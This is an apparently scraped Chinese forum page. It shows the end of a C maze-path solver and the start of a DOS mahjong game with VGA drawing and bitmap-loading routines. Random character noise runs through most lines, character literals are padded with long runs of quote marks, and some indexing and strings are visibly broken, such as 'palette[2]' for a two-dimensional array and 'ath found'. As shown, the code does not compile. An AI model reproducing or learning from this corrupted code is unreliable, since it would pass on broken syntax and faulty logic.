return TRUE;1 e1 ^% x9 ]6 Y4 h
else return FALSE;
+ F1 H4 u% D( k4 D} /* Pass */
  ~7 P  M4 y# Dvoid MarkPrint(PosType seat)* _2 Y* m8 w2 E1 f! T( H, \; @
/* Mark the position seat. */( M8 u5 E6 R- Y( ?. P; l
{
7 z8 F) t9 J( S/ f/ j; vmaze[seat.x][seat.y].mark=-1;
' j1 k% k, V# x+ V! Z/ J" o/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */% p2 u& N  L* d8 a" K5 T$ |
} /* MarkPrint */
; T3 v( @7 I  T; T" w; w$ e# wvoid FootPrint(PosType curpos)
. a' \& e6 L! x9 a; {& B/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */& ^0 C0 N: j1 r8 r* |$ V" H
{  j8 I: ^( n) ^" m: e2 v" ^7 Y
maze[curpos.x][curpos.y].foot=1;
) N$ X5 M) O. v8 \7 j} /* FootPrint */
1 N7 Z, a7 k1 ePosType NextPos(PosType seat,int di)
! m8 y' f/ B& g- u' ^{
: b  u- {/ W& uswitch(di)
4 f. G* S2 E3 b3 T8 ~9 B{" i4 `* x( D! W' A7 \
case 1: seat.y++; return seat; /* Eastward */
5 H  b7 W. X3 I2 D% Gcase 2: seat.x++; return seat; /* Southward */+ t, o) L0 M. {4 x0 \
case 3: seat.y--; return seat; /* Westward */
% o$ F; a/ z* s% d9 r/ icase 4: seat.x--; return seat; /* Northward */2 }1 V  c( ^8 T5 O! m% d
default: seat.x=0; seat.y=0; return seat;
/ L  O- @( j, R}
" N9 ?. X  l7 P  Q0 _# \} /* NextPos */
1 {% u; G/ b: ^# F
- Z+ T0 W  y, f" M1 N3 e/* The key to the program. */
3 ]% J0 `; g+ A' \9 P* N% Y. f/* Pre: The maze array &amp; the startplace &amp; the endplace.
/ }: m5 d9 E1 j$ ]) ^1 VPost: Find the one traverse of the maze and perform the mazepath.* P9 J7 M/ A" e, J$ K4 o
Uses: The ADT stack class.
. s4 z! D* t; `3 ^*/5 u9 h" h: \9 x* o
Status MazePath(PosType start,PosType end)4 z! b0 u* j  y+ i
{7 c  L9 O5 l5 n$ C+ q) d) a( i
PosType curpos;
# a! G. ~3 u5 E% K' fint curstep;3 e. K' Z- ]7 j! p& m
SElemType e;
, @1 X/ n3 |( r$ ^4 S& aStack *s,stack;1 l$ H+ F  w+ [. j2 g7 c$ Q& c) t, ]9 ?
stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
' u% k4 P+ s: L' s8 }. iif(!stack.base) Error("Overflow");% {3 n% A- A9 f
stack.top=stack.base;
! e6 C- i% p6 h6 p4 ^stack.stacksize=STACK_INIT_SIZE;
+ k1 }. h9 j7 ~% B4 g) U8 ^1 as=&amp;stack;
( C# S  Q# X- Y. k1 m6 G/ E5 Jcurpos=start;
- x: x* h' y& ^9 _/ M$ X" t; |2 ~curstep=1;2 O# |7 B1 ]/ f# `1 Z2 N
do( D' n! u9 f- ?& ]* t
{
6 s2 V6 a. o; z! w4 l5 ~if(Pass(curpos))6 h1 v7 I. z/ }1 j! [% }
{
* Z" j; `, C4 R. I- B0 Q& A) ?FootPrint(curpos);
/ p( I4 g2 Z0 ~# Te.ord=curstep; e.seat=curpos; e.di=1;. R# ?7 O% k( p9 s9 S% r
gotoxy((curpos.y+1)*2,curpos.x+2);6 k/ z1 B' F( P; w8 c) h( F* \6 ?+ A  e
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
9 E8 L4 V) S3 ?% idelay(8000); /* pospone time. */
+ G9 e: ]6 P9 N  |Push(s,e);
9 p! T7 e* B4 D# @) o# Dif(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */* i5 Y/ z7 D/ o  F7 |
{  _. }1 q' ?# L
DestroyStack(s);/ d6 |2 ], v& \# h/ h) g2 A" O+ N
return TRUE;
0 S# Y8 P  Q: @. y4 L( W; s% b* [}% h/ P" ?  J1 O4 k% E+ r2 w
curpos=NextPos(curpos,1); /* Try next position. */* m: |* j' E0 n% Z9 g; s
curstep++;
+ u$ x; X  t* E% w1 H}. m/ U  F; I( w# U4 q. Y, P
else, ~& L$ Y" X. s+ }2 v( u# Q
{
6 \( q) _  D2 Y2 \  q+ ?if(!StackEmpty(s))
  T4 ~5 \* W9 s8 k{
/ K) E% t8 p. O. }# X* G" q9 He=Pop(s,e); /* Removed e from s. */0 C2 x5 A, g/ I. B
while(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked! C& w* y$ E: A0 A; [
and s is not empty. */
7 a' l: R2 k4 H. g& u9 |1 X{
) K1 ]# a# I) t" @' KMarkPrint(e.seat);8 T" N. {# G0 |! Z' x# D
gotoxy((e.seat.y+1)*2,e.seat.x+2);, T$ l4 S) Z; V! M2 w+ w1 t: K' q) E
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
  E+ X: ^  G4 n; g0 ydelay(8000); /* Pospone time. */3 C+ i% Y7 T. V: o) Z8 {2 |7 H
gotoxy((e.seat.y+1)*2,e.seat.x+2);/ P2 S+ {/ i9 f8 y3 I
putch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');+ u1 \+ d2 Z) D+ V; W2 a
e=Pop(s,e); /* Remove e from s. */
* u; k9 Z- L/ A# z9 ?curstep--;
9 C/ ?. d8 k8 X5 ]}8 \: ^% Z. d, q" R
if(e.di&lt;4) /* The current position hasnot been checked. */- U0 j& h4 b% B* }- k9 i
{
! V& M- x- m$ M* t% [% oe.di++;
7 J) j* G' w8 L: a& pPush(s,e); /* Insert e into s. */+ O7 V5 Q) D, P
curpos=NextPos(e.seat,e.di); /* Try next position. */" ~8 x# {$ y( k  q7 `0 O: I5 t
}
1 j% z# X% d5 x}: F5 r3 u* p/ T/ x) c
}" i  y% X/ P0 j8 R! c9 A
}
% z5 i* P( |1 r: p8 M  h* Cwhile(!StackEmpty(s));" J9 e9 u3 o. _, T3 p0 j$ m/ P" G
DestroyStack(s);  |# B* f7 a/ f) _& l$ P) g
return FALSE;
. Q, k  `* ~- _; r} /* MazePath */
' B$ U# ]/ \! h7 g1 t4 Uvoid main()$ |- T' k# A# _  a& S
{
. s# Z2 @& {3 `) f/ GPosType start,end;
, F9 A2 e( S# v- k+ zCreatMaze();
5 q7 I7 x& H1 b1 r0 U7 b/ istart.x=StartPlace.y;
7 ^. e' ^3 b5 J" P  R5 ^# ]+ Nstart.y=StartPlace.x;
2 y- J+ U# {5 p/ Z4 `( fend.x=EndPlace.y;4 B" g8 o9 f! j! D, c
end.y=EndPlace.x;+ o9 m$ t$ z; o) f1 ^
if(MazePath(start,end))% E! `) T- q7 P5 I
{% ]2 f2 P/ D# O3 |' ^1 Y2 A
gotoxy(2,22);
& m) @, G8 b" K( e2 Sprintf("ath found\n");
. S3 i; m% A3 S. ?# N; N}8 x+ K/ P$ G3 E0 B1 M$ Z9 Y
else
' ^. I, p% P+ j. |& K  k{! P, W' b* @) W5 T4 s( I" s
gotoxy(2,22);3 T  E) O/ E( v
printf("ath not found\n");& q7 a- T, E% ?- h+ T$ F) m
}
8 y9 y6 a+ l# e* j% V" W' Ngetch();
; B$ r# b) b% o6 D. t$ Fclrscr();3 c+ g3 m6 P7 n/ D8 f! O
} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
+ ]3 ~. [: V) b" f/*天宇软件$ ~/ [5 N. d5 O* S9 b3 s- Y3 V
作者:上海黑暗之龙
; X6 Y  C3 k* _$ }8 e2002/10/30# D5 q4 t8 y1 x( |/ O8 h
麻将原代码*/1 h# C6 o) V6 a" B0 G
#include "dos.h"" w* `: S) C& w2 u3 B3 U
#include "stdio.h"' _4 b  x  c9 e, r. {5 g) L
#include "graphics.h", B- h! n% u  r6 v/ _
#include "bios.h"
  ^# j3 S( d  g* r8 a% P# |#include "conio.h"5 x9 r9 @1 s2 b1 j+ ]
#include "stdlib.h"
$ Q8 J2 ^) Z" X; R2 P, gunsigned char far *video_buffer=(char far *)0xA0000000L;7 i4 _) j  j  q0 F4 M
#define VGA256 0x13 /*图形模式13h*/0 }: d+ F4 R4 ]1 c# r
#define TEXT_MODE 0x03 /*普通文本模式*/
. ]* ~& D& o. B' U/ R# L#define SETVGA Set_Video_Mode(VGA256)
1 O# G' F# B+ U+ Y2 C% F#define OUTVGA Set_Video_Mode(TEXT_MODE)
/ f0 }% U+ F7 v$ U/ C#define BYTE unsigned char5 `. {: G. d" Y( D% e; x
#define WORD unsigned int
) f3 z2 a$ n* L4 Y: V# c* f6 W  x% Q#define DWORD unsigned int0 n" E: l8 |: }! B5 y
#define ESC 283
2 G: a0 S" N/ v% _9 S1 o#define LEFT 19200
: \- k8 g% r, C#define RIGHT 197124 e& t# s5 m" |4 M% \
#define H 9064
& B, k" Z$ ?. E3 U5 Z7 U7 O#define ENTER 71818 M( J$ k9 T- a1 j/ `  C
unsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;
8 @4 Q) C5 t( ~  Rint key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;
) |5 }; g8 p- `struct chi
9 h/ i( i/ N, ~& ~2 i* b+ \5 }' T{
+ `" x  T+ K  W! hint lg;
  b& }4 Y/ D# g  k7 g/ T+ @int lgg;
* ?% d7 K  C3 E; C}ch[13];4 C) W0 t5 p7 s
struct mj2 i  A4 ]2 K% r
{ char *name; /*名字*/
: w9 ^" `6 v! R# y% o1 R6 J2 Y6 b+ l; oint data1; /*是否已出,无用了*/
5 {# j1 j# Q; \int data2; /*是否在手中,1为自己,2为对方*/. y) j8 ^/ W. b& d- p0 b/ ~
int number; /*同一个花色的第几张,共4张*/" ~3 p& a0 w) O* o+ B
}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,
' c6 V6 X+ t5 a8 R"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
% \  l! B( ~2 Q' [$ ?) b"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,! Y* P4 _: c9 P
"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,
: Y1 ]: O1 F, O"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,2 O5 H& Q) g# q# u1 D& m( w3 _* S
"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,* B( x2 D9 o6 `# e
"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,
& c% e/ T9 t+ a" ]2 z, h"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,
- j3 m2 K5 X5 K( E7 j& l. r"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,) d3 M# M. x8 K& L0 F+ U# s
"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
2 q8 i/ `( a, ]) g! Z2 L: D"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,
1 r6 Q) g/ t% I"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,/ ?7 v+ ]" S4 J' c
"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,, D+ S4 A" [8 g$ t0 x
"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
) @. u$ V- k1 s. S6 ]"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,
' l3 E/ T/ i1 ]* y"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,7 Y1 t4 X! X% f9 f7 C) X
"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,, {! c9 E* H! I  J$ k% l
"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,( j- p: ?: Z8 a; V1 h' ^* }
"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3," B# H* y2 N0 T" q$ d9 Y
"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,# c) {$ `7 d" t- y$ K' X
"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,, }3 ^, _1 v0 u. L5 R0 g5 h
"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,
- _6 B: b  C) F' l6 h, W2 a/ L"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,; A, n* t# Y# A9 ^0 ^3 A4 w
"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,
/ h$ {7 y$ s4 p"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,  R- l3 @3 A1 w" j  @- V
"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,
" x1 a2 a) a2 h. O"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,) q+ d+ S. O3 W& C( t
"34.bmp"};4 g( D( q. Z0 f
struct every- ^' ?5 [3 {- D; I
{ int *k; /*名字*/
/ N9 E' O7 U# V  b) A  Bint oneorfour; /*同一张牌的第几张*/
7 w' e6 N& ?- h6 x0 K4 e* d8 o3 E( ]int number; /*第几张牌136*/  e. U* m/ w+ a3 z
int p;
7 |0 i$ Z# }+ Cint g;9 d! a# Z! B( Q8 _% i4 ]
int c;
7 o, |# g4 `# ^, N+ {% |int d[2];
  h; m" ?. ?; U( N2 a};" ]2 ^$ ?6 P8 T6 Y* N
struct me( c: ?2 n. J8 W- }/ L
{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/
: y& G' X( ^3 cint p; /*乓对方*/
, g+ A% ?/ c' t$ l* D7 @. Lint c; /*吃对方*/7 P% j! w/ [7 V5 \) S* B5 J( f& m
int g; /*杠*/. q+ W# }7 ]# K! p- h/ b
* W! o$ G. x* p" a8 Z3 ^  ~
struct every pp[14]; /*存放手上的牌*/- t2 o. R  \9 T  [! G/ r: {
}me;$ H3 f3 m' o  ^2 a: c+ K1 s
struct computer- e& v2 e2 K3 c/ m/ O( S& I
{ int m;
4 g5 {' l, ?& W' R* A# {int p;, w' g8 @$ o- o" c
int c;
% ?; z8 ~6 {4 t9 g; Uint g;' n9 }0 ~' \8 v3 c$ f. V) N
struct every pp[14];
* S5 L% c9 T/ U  F: g0 n( Y' ^( O}computer,comp;. W) \* N! R1 n; Z9 E  z7 c' C

4 a" S% Z; E$ [  m+ o7 P2 e4 o/* 设置调色板 */
0 y# O- T/ Z( @( W! [void Set_Palette(int Color,BYTE r,BYTE g,BYTE b)
1 K4 U: a; X6 r, r{& S8 p# {, |& v$ L& h
outportb(0x3c8,Color); /*0x3c8写端口 写色号*/
% L% @0 L+ E# f/ m% `outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/
+ o+ S6 f. t/ L9 p' P9 xoutportb(0x3c9,g);
9 `/ Q+ `+ t9 F% ioutportb(0x3c9,b);- f% M1 \/ w( [! D1 r, l: N
}7 w' K! r  s+ B9 Z& Z5 x
/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/8 R0 N. t7 {9 Y/ Z# G7 t
/* 设置显示模式的函数 */  k3 i5 E3 j0 R+ J/ S) _
void Set_Video_Mode(int mode)
* t! P0 a6 G7 K. a( B{9 m( G) N. c4 B* u( Y$ f
union REGS inregs,outregs; /*定义输入和返回寄存器*/
0 @: V" B, r; k5 z# vinregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/
; H2 @: ~0 v4 a' b6 ~1 b& f& winregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/& U+ x) ~% f. T1 s" h* `4 d
int86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/* l6 M+ d. k) T8 S
}: D* s8 @) d7 ~, r3 x2 ?  L4 U
void v_line(int y0,int y1,int x,unsigned int color)$ u8 [% }) a1 W- K! |4 b6 s- U" N( i
{ unsigned int address,n,temp;
' B5 X4 p" x: Q, Z( iif(y0&gt;y1)4 A+ M: H8 C- \2 Y  t" H
{
$ |% V6 l+ O1 \' ftemp=y1;1 t: w, O" L5 g3 M. Q
y1=y0;
; a4 c4 F0 n$ P# x; By0=temp;
% |# O, O2 F7 v# K! ?! O% t}1 U+ |, [' }% j0 a9 b  I
address=320*y0+x;6 @7 {* a* ~$ ?1 D2 T
for(n=0;n&lt;=y1-y0;n++)
$ @# w, c  c  a$ P{/ S+ [$ o% P) U
video_buffer[address]=color;
8 p3 G6 A0 E- D7 H8 Zaddress+=320;
! d/ b( A& v! o}( ^* V; q3 L$ M) n2 q7 u
}4 O4 \: P* v$ L& ?3 \
void h_line(int x0,int x1,int y,unsigned int color)' Z8 a2 l2 Q: l3 o1 X
{ unsigned int address,n,temp;
8 o7 E  v5 P& k+ h8 ~' Uif(x0&gt;x1)
! |8 g' `  s" o  S7 p{7 X$ e3 Q0 A( g6 t
temp=x1;! r( R' h* ?9 [- b, |/ i
x1=x0;/ |9 V$ J0 ^. _! s* d7 ~
x0=temp;  ]( l, v: L2 J+ Y2 y' b
}3 y. \' I6 I* [
address=320*y+x0;
% L% [3 ^' ?/ H& ~" Vfor(n=0;n&lt;=x1-x0;n++)
; T  A/ L( r: }& I. \" U6 W: T{6 w" J* A- K0 y& T
video_buffer[address]=color;
) P) P9 A& K5 n: o1 l& d$ P" Gaddress+=1;
% V: _: T* K4 h}
& N9 m% J8 z. m' y. e' a}4 F( i- W1 r" B: l$ y
void p_pixel(int x,int y,unsigned int color)# [( X" R8 a, B, P( t5 L9 \
{ video_buffer[y*320+x]=color;
; a; G, s! U7 ?1 X5 x$ l4 ^% Y}
4 \& O# \# I& M& o6 C6 Zvoid s_square(int x,int y,int side,int color)
- C# B, V" l, k) x0 L{0 b$ S9 R, e  }
h_line(x,x+side,y,color);
0 K3 T& a* B( R/ Z4 G0 W0 U4 _9 qh_line(x,x+side,y+side,color);
. r5 D. `; X  T7 ?) v' n+ T* Iv_line(y,y+side,x,color);* ^1 X# s, y, y# p
v_line(y,y+side,x+side,color);& k, ]# p9 _  O7 r; X& Q
}
4 n' ^) q, d+ z0 g4 Cvoid r_rectangle(int x1,int y1,int x2,int y2,int color)
& {& k/ [3 y2 X# m& I6 k& Y# e, Q2 t{/ K1 j4 Q* \$ W9 V( l
h_line(x1,x2,y1,color);
9 O0 ~: A' U/ Z4 _  @- K9 v, Qh_line(x1,x2,y2,color);
6 n( ?3 a3 L/ S/ N- t+ v! ^v_line(y1,y2,x1,color);3 t  V8 ~$ T  G9 ~" L" P
v_line(y1,y2,x2,color);3 S9 y- ~" K, l5 |; ^6 l
}
5 c' P0 @3 O2 t' g* P2 r6 H2 L5 s0 N7 _void fillRectangle(int x1,int y1,int x2,int y2,int color)7 b& z3 Z1 {) |
{- M4 g# f4 v( o2 t  f/ o
int i;, t2 C6 {; P/ ~% C; {
for(i=y1;i&lt;=y2;i++)
. w: M4 V# K2 F) T3 O% ?3 ?+ S{2 p. Y4 V& y0 W4 N" v
h_line(x1,x2,i,color);* p6 S& \# o. N0 Q6 c) }9 j
}8 ^- l1 ~& |5 `
}
# G) q% s5 K3 p9 g, |0 W) ^6 C; hvoid showbmp(int l)& n: ?7 t0 a) W( ]( J# i5 l
{ FILE *bmp;0 y. r7 A! J. |8 a3 {0 f  B. b
int i,x,y;  a2 e9 ?3 a1 O/ o0 w
BYTE palette[256][3];9 @. f( ~1 Z- D8 ?+ h
bmp=fopen(me.pp[l].k,"rb");" E% a$ _3 g  z7 A1 a% V" B
fseek(bmp,54,SEEK_SET);
3 t6 J- o% b2 B+ ^# Dfor(i=0;i&lt;256;i++)
% v. `3 b) M/ e4 |{
4 j) I! h$ A1 w" s. Z& H9 Y, {palette[2]=fgetc(bmp)&gt;&gt;2;
, Y- E: T3 b0 M! Lpalette[1]=fgetc(bmp)&gt;&gt;2;% K! c7 z! i7 Q& l
palette[0]=fgetc(bmp)&gt;&gt;2;- R8 e  k2 `9 }  z" H" {
fgetc(bmp);# x3 C8 y, z2 w  w
Set_Palette(i,palette[0],palette[1],palette[2]);# z8 _4 A" h7 f5 |1 i+ k
}
0 t/ Y5 L2 v  Y5 i$ Bfor (y=0;y&lt;30;y++)
9 a2 ~" X- {% q/ hfor(x=0;x&lt;20;x++)
* m% i1 _$ c/ ?: _9 ]* ~5 bpokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));- g) S5 ?( r! |7 O8 \9 ]1 X
fclose(bmp);( \% Z$ [' _6 F; C! S* ?
}
" Q6 W% t  `5 M; k: J/ ]void showbmpd(int l)
8 b* m4 B2 a( s/ ?7 T9 [) w% a9 n{ FILE *bmp;9 X4 M% {) N9 ?+ k. e. F0 t
int i,x,y;! J9 U6 d+ c+ I2 _; K
BYTE palette[256][3];  O0 |: H$ H& P5 }" o+ I* g& \
bmp=fopen(me.pp[l].k,"rb");
" _+ M1 O) `, ofseek(bmp,54,SEEK_SET);
' O6 X. `4 U- Ofor(i=0;i&lt;256;i++)6 T- q% I: O; A  I. |
{
1 |) S2 J2 C/ g# d3 k+ Fpalette[2]=fgetc(bmp)&gt;&gt;2;, {: u8 d$ G! v( f
palette[1]=fgetc(bmp)&gt;&gt;2;. a8 _' s! r! v" U8 b
palette[0]=fgetc(bmp)&gt;&gt;2;
% X4 L( G4 ]9 _  r, i5 pfgetc(bmp);
5 D# f) _5 }$ D7 \* O* dSet_Palette(i,palette[0],palette[1],palette[2]);4 B6 \5 T6 V" S% d$ f
}
1 r6 \: F1 s  q1 Wfor (y=0;y&lt;30;y++)
  h( m/ N9 P8 P/ V% wfor(x=0;x&lt;20;x++)
$ r2 d4 e( G) F0 U9 \pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
- m" J/ U, l/ y$ v  U' c2 I$ f& mfclose(bmp);
# |3 J( w) D( \2 [* |1 F}' C5 J: I/ B; Z0 M% T/ U
void showybmp(int ll)' {, S* O  I8 f. M. l
{ FILE *bmp;
) `. H# W: ~3 W" R% c8 Uint i,x,y;
( z7 w2 r" F. @+ |- ZBYTE palette[256][3];. @+ X# V- @8 \3 E) B
bmp=fopen(computer.pp[ll].k,"rb");
% j$ z0 H  D- @# ^. ^4 Vfseek(bmp,54,SEEK_SET);
% [7 {7 }, \3 c) H9 q7 Dfor(i=0;i&lt;256;i++)
: w( W4 g4 ?2 ~- J8 J: b{
& d2 Y8 Y. J  {1 ]8 dpalette[2]=fgetc(bmp)&gt;&gt;2;, {  p$ E' [2 Q1 n8 w
palette[1]=fgetc(bmp)&gt;&gt;2;% s; g( |- p0 S, ~) ~  E
palette[0]=fgetc(bmp)&gt;&gt;2;4 u! l! U8 R" i& n7 P5 p
fgetc(bmp);
' U4 r; d) J5 [6 F$ g$ B: QSet_Palette(i,palette[0],palette[1],palette[2]);& [. q0 u; [  s6 _
}2 J! X# s9 S; y: l3 m0 T
for (y=0;y&lt;30;y++)
6 m3 P8 z# l: @7 B, u. afor(x=0;x&lt;20;x++)3 e# N, O5 L* _1 ?5 E$ e
pokeb(0xa000,y*320+x+zy,fgetc(bmp));
2 l) M/ O7 B& w. e2 y% E, Afclose(bmp);
1 T* O6 i* f* ]7 |- v# Y  ~" E}; x2 T3 O/ A$ k: f
void showcbmp(int ll)0 u! i! `+ Y8 Q3 j
{ FILE *bmp;
1 I1 \  b2 G) a3 g  ^3 pint i,x,y;- O8 l3 I* S' a+ `
BYTE palette[256][3];8 y+ o: u* r# Q3 I
bmp=fopen(computer.pp[ll].k,"rb");$ n8 y2 I+ O4 J7 P1 y7 Y* u
fseek(bmp,54,SEEK_SET);
/ y& D0 t$ d/ M; G/ o7 Jfor(i=0;i&lt;256;i++)/ H3 k! {  Z  E) L
{
5 k/ R0 d3 I2 v2 Tpalette[2]=fgetc(bmp)&gt;&gt;2;# R; q* C5 x2 V8 Z  Q
palette[1]=fgetc(bmp)&gt;&gt;2;
% u* p: F; U0 Y" w# B# p; Jpalette[0]=fgetc(bmp)&gt;&gt;2;
1 t7 G2 C3 O% ~8 v. M9 Z& Ufgetc(bmp);9 f) l/ Q, I- l* [/ Z0 T
Set_Palette(i,palette[0],palette[1],palette[2]);
" r  @% ?' b% c* z  |}
- r  ~9 ]7 L4 z/ afor (y=0;y&lt;30;y++)
$ J" R+ `$ k, `# Q) |3 Pfor(x=0;x&lt;20;x++)
9 p, A* b" o, x8 {pokeb(0xa000,y*320+x+zyy,fgetc(bmp));+ t8 Z8 h8 ?6 Z
fclose(bmp);
/ b1 _" T9 L* e4 K3 v4 H: I}
6 U7 P# u7 b& _2 O( Nvoid bmpp(int number)3 t  X7 a( k4 K! X. m2 x
{ FILE *bmp;
, L2 S# T  D, w0 M0 W/ @5 J  Eint i,x,y;
7 d7 E7 A1 A0 ]6 bBYTE palette[256][3];
6 R$ F+ J! n4 x" Ebmp=fopen(m[number].name,"rb");  E3 J: |( L9 p8 F5 O; G
fseek(bmp,54,SEEK_SET);" A6 u  Y) T) D0 }1 J; W6 L- U
for(i=0;i&lt;256;i++)
6 r# W$ J) E0 O) {. ^$ N{
+ ^( Y5 d) k  X! e0 N( ipalette[2]=fgetc(bmp)&gt;&gt;2;; w3 ^) c  D. s7 @" g
palette[1]=fgetc(bmp)&gt;&gt;2;+ c+ y# b! h4 ~* @2 ^: M
palette[0]=fgetc(bmp)&gt;&gt;2;4 X/ |+ {2 j' a5 G1 E) c
fgetc(bmp);
) M+ R6 ?' f+ V: }* iSet_Palette(i,palette[0],palette[1],palette[2]);$ v$ M. T8 E+ a4 I9 _& K" j
}1 D5 Y3 S, I8 z$ d. Q( M& e
for (y=0;y&lt;30;y++)6 d2 s& _4 p% Y
for(x=0;x&lt;20;x++)0 ~8 P( }/ k, A9 A8 J5 {$ C. @6 a
pokeb(0xa000,y*320+x+zl,fgetc(bmp));5 j1 o" o/ e. f7 o4 h
fclose(bmp);
. w% d& G) j" u* U( n}# V- t: t" @" j% P
void comlipai() /*整理电脑的牌*/8 L! {7 u0 S  I1 M( d% c( @6 [6 C
{ int n,j,u;8 p8 H8 I( [8 Q  m8 s+ w- S
int *lingshi;6 d6 e+ R& O/ n  [
for(n=0;n&lt;computer.m;n++)# `& E# J% }9 M& ?% w
for(j=n;j&lt;computer.m;j++)- \6 f" [+ p- P5 {: F1 g  S( ~
{8 s  n# n) r$ L7 P6 t1 w
if(computer.pp[n].number&gt;computer.pp[j+1].number)
8 d# p" `5 W7 C; _& B" K{
1 s8 b1 @+ }+ Z( o7 J+ v& _lingshi=computer.pp[n].k;
- T0 G, J5 g' w9 I: Ncomputer.pp[n].k=computer.pp[j+1].k;
# {8 o/ G9 \% [computer.pp[j+1].k=lingshi;
& X6 P% ^2 _3 ?8 K% Bu=computer.pp[n].oneorfour;& ], q( w1 J4 z+ H, E8 O
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
/ C) z& P3 i. f; ?  S- r2 Ycomputer.pp[j+1].oneorfour=u;8 [+ C2 i8 \9 s
u=computer.pp[n].number;
8 V1 `$ M7 A8 w! ^2 X8 pcomputer.pp[n].number=computer.pp[j+1].number;' W7 p$ U+ P* m6 B5 l# k3 a
computer.pp[j+1].number=u;0 ~. m2 j- x' [% m
}
% y7 `0 P+ u. r8 Belse
8 O6 J( P4 a+ w% Y3 ^/ J$ q  sif(computer.pp[n].number==computer.pp[j+1].number)
8 g3 L! f- k/ Gif(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)
- w  T1 X3 t1 ]7 q{" E9 o: ?# _, ?0 q2 y7 O
lingshi=computer.pp[n].k;* o* w: }  Q3 }
computer.pp[n].k=computer.pp[j+1].k;
! m) V5 y( ^' [! g* b8 o. S$ T! Ccomputer.pp[j+1].k=lingshi;
7 ~' x: L) H9 N: i! `u=computer.pp[n].oneorfour;1 Q/ d7 M- o6 ~7 I; N5 j! C
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;7 a* S$ @! B' D2 O6 U0 c
computer.pp[j+1].oneorfour=u;! \8 B: x7 u6 e4 C
